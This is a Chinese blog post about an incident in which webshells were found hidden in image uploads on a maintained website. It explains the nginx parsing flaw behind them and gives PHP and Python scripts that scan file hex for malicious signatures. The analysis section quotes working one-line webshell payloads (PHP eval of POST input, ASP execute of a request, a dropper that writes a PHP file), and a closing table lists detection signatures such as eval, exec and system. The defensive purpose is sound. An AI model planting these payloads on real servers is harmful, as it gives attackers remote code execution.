前言
周一一早網管收到來自阿里雲的一堆警告,發現我們維護的一個網站下有數十個被掛馬的文件。網管直接關了vsftpd,然后把警告導出郵件給我們。
取出部分大致如下:
服務器IP/名稱 | 木馬文件路徑 | 更新時間 | 木馬類型 | 狀態(全部) |
---|---|---|---|---|
*.*.*.* | /path/*144.gif | 2017/8/7 5:53 | Webshell | 待處理 |
*.*.*.* | /path/*132.jpg | 2017/8/7 5:23 | Webshell | 待處理 |
*.*.*.* | /path/*156.txt | 2017/8/7 5:22 | Webshell | 待處理 |
*.*.*.* | /path/*0304.jpg | 2017/8/7 5:22 | 木馬文件 | 待處理 |
分析
檢查vsftpd后發現之前已經配置了只允許我們公司的ip訪問的限制。
分析路徑后發現,觸發警報的文件均為同一路徑下。
經過分析代碼得出結論,只有通過管理端的上傳圖片功能或者使用管理端編輯器的圖像上傳功能才能將圖片放入此文件夾內。
而觸發木馬警報的文件中有90%是交接前的文件(我們在交接時只驗證了代碼功能而忽視了圖片安全性,失策)。
檢查
path文件夾下,git內(交接之日收到的文件)的待檢查加上FTP上(交接之日之后維護上傳的文件)一共有1320個,分散在數個層級不等的文件夾內。
使用Notepad++
檢查警告中顯示的圖片文件后發現,木馬類型為Webshell
或木馬文件
的圖片或文件內含有惡意代碼例如:
<%execute(request("a"))%> <?php eval($_POST['a']);?> <?fputs(fopen("TNT.PHP","w"),"<?eval(\$_POST[TNT]);?>")?> <% @Page Language="Jscript"%> <%eval(Request.Item["TNT"],"unsafe");%>
使用Notepad++
的十六進制模式(需安裝插件HEX-Editor)查看
驗證
經查詢nginx有過由於配置錯誤導致的文件上傳漏洞,詳情見Nginx文件類型錯誤解析漏洞。
正好我的虛擬機上有nginx立刻來試一下。
虛擬機配置 | 版本 |
---|---|
nginx | 1.10.1 |
php | 7.2.0-dev |
- 首先用畫圖隨便造個圖片
- 使用
Notepad++ Hex-Editor
將<?php phpinfo(); ?>
插入任意角落。 - 將此圖片傳入虛擬機中
- 在虛擬機中編輯php的php.ini,將
;cgi.fix_pathinfo=1
打開 - 運行nginx,查看效果
經過驗證可以得出,該nginx的bug是的確存在的。但是根據Nginx文件類型錯誤解析漏洞一文中描述,將cgi.fix_pathinfo
設為0並不能阻止漏洞的發生。
使用掃描讀取圖片二進制字符的方式,可以預防用戶上傳該類圖片。
過濾
先觀察了數個被報警的圖片,提取了被掛馬圖片的共同點,放入Notepad++中
<%a(a)a%>00000 <?a(a)a?>00000 <script0000000 <SCRIPT0000000 script>0000000 SCRIPT>0000000
< | % | ( | ) | % | > |
---|---|---|---|---|---|
3c | 25 | 28 | 29 | 25 | 3e |
用php遞歸跑目錄並檢測二進制文本,隨便選了個小一點的文件夾進行嘗試。
function osWalk($path,$dirs=[]) { if (false != ($handle = opendir ( $path ))) { while ( false !== ($file = readdir ( $handle )) ) { if ($file != "." && $file != "..") { if(is_file($path.'\\'.$file)) $dirs[]=$path.'\\'.$file; else $dirs=osWalk($path.'\\'.$file,$dirs); } } closedir ( $handle ); } return $dirs; } function checkHex($img_path) { if (file_exists($img_path)) { $resource = fopen($img_path, 'rb'); $fileSize = filesize($img_path); fseek($resource, 0); //把文件指針移到文件的開頭 $hexCode = bin2hex(fread($resource, $fileSize)); fclose($resource); /* 匹配16進制中 <?php ?>|eval|fputs|fwrite */ if (preg_match("/(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)/is", $hexCode)) return true; else return false; } else { return false; } } $scan_start=microtime(true); $qsFiles=osWalk('e:\path_to_image'); $scan_end=microtime(true); $res=[]; $check_start=microtime(true); foreach($qsFiles as $qs){ if (checkHex($qs)) $res[]=$qs; } $check_end=microtime(true); echo vsprintf('文件總數:%d,中標文件:%d<br>掃碼時間:%.2f秒,檢測時間:%.2f秒<br>',array( count($qsFiles), count($res), $scan_end-$scan_start, $check_end-$check_start )); //echo implode('<br>',$res); #文件總數:1320,中標文件:28 #掃描時間:1.16秒,檢測時間:125.50秒
覺得這樣查時間有點多,用python也寫了一個批量匹配
#!/usr/bin/python # -*- coding:utf-8 -*- import os,re,time,math; def check_hex(img_path,p): with open(img_path,'rb') as f: content=f.read(); f.close(); if p.search(content.encode('hex')): return True; return False; def main(): #<?php ?>|eval|fputs|fwrite p1=re.compile('(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)'); scan_start=time.time(); total_files=0;total_taged=[]; for parent,dirname,filenames in os.walk(r'E:\path_to_image'): for file in filenames: img_path=parent+os.path.sep+file; total_files+=1; if check_hex(img_path,p1): total_taged.append(img_path); scan_end=time.time(); print u'掃描完成!總用時:%.2f秒。\r\n總共掃描文件數: %d,中標文件數: %d。'%((scan_end-scan_start),total_files,len(total_taged)); #for tag in total_taged: # print tag; print 'END'; if __name__=='__main__': main(); #掃描完成!總用時:97.24秒。 #總共掃描文件數: 1320,中標文件數: 28。
在相同的匹配條件下python的速度比php快22.4%。
PHP與python相同情況下掃描用時對比
接着又換了一批正則試驗了一下,PHP和py匹配出的中標文件數差不多,但是用時py優於PHP。
正則組合1:
<?php ?>|<% %>|eval
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)
語言 | 中標數 | 用時(秒) |
---|---|---|
PHP | 956 | 14.81 |
python | 958 | 11.58 |
正則組合2:
<?php ?>|<% %>|eval|exec (3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)
語言 | 中標數 | 用時(秒) |
---|---|---|
PHP | 956 | 18.40 |
python | 958 | 13.85 |
正則組合3:
<?php ?>|<% %>|eval|exec|write|put (3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)|(7772697465)|(707574)
語言 | 中標數 | 用時(秒) |
---|---|---|
PHP | 961 | 26.74 |
python | 963 | 17.90 |
友情贈送
使用python獲取字符串的十六進制比較方便,只需
print 'string'.encode('hex'); #737472696e67
這里放一點圖片惡意代碼,若有需要請隨意使用
圖片惡意代碼 | hex |
---|---|
\<\?php \?> | 3c3f706870.*\?3f3e |
\<\? \?> | 3c3f.*\?3f3e |
\<\% \%> | 3c25.*\?253e |
exec | 65786563 |
eval | 6576616c |
system | 73797374656d |
passthru | 061737374687275 |
fputs | 6670757473 |
fwrite | 667772697465 |
總結
通過這次突發事件,發現了我們在接手新項目的流程里有很大漏洞,比如不會去檢測對方發來的圖片有沒有什么問題。也幸好有這次的事件提了個醒,舉一反三趕緊把手里的項目特別是生產服務器使用nginx的先查了個遍,擼掉一大批中標文件。以后若是新接手項目,一定要檢查一下圖片有沒有問題。
備注:本文發布於2017-08-14,我github page的原文地址。